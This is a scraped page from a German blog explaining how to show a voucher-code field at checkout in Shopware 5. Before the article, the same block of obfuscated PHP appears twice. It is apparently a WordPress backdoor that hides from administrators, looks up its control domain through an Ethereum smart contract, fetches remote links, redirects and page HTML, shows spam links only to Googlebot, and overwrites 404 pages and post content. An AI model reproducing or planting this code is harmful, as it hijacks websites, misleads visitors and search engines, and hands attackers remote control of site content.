if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
  • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
  • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ Gutscheincode im Kassenbereich? - Der Kohli Blog

    Standardmäßig findet der Kunde die Möglichkeit einen Gutscheincode in Shopware 5 einzutragen nur, wenn er den Warenkorb bearbeitet. Hier anhand eines Beispiels vom Retronia Onlineshop.

    Shopware 5 Gutscheincode im Kassenbereich?

    Dies ist aus meiner Sicht recht unkomfortabel. Denn meist geht der Kunde direkt zur Kasse, wenn er seinen Artikel in den Warenkorb gelegt hat. Zumindest zeigte sich dies schon mehrmals in der Praxis.

    Daher lässt sich im Backend in den Grundeinstellungen unter Bestellabschluss die Option „Gutscheinfeld im Bestellabschluss anzeigen“ aktivieren, dass der Kunde auch im Kassenvorgang einen Gutscheincode eintragen kann.

    Shopware 5 Gutscheincode im Kassenbereich?
    Shopware 5 Gutscheincode im Kassenbereich?

    Quelle

    https://forum.shopware.com/discussion/30506/gutschein-einloesen

    verwendete Bilder auf dieser Seite

    Frühlingsverkaufsgutschein des kleinen blumengeschäfts von @freepik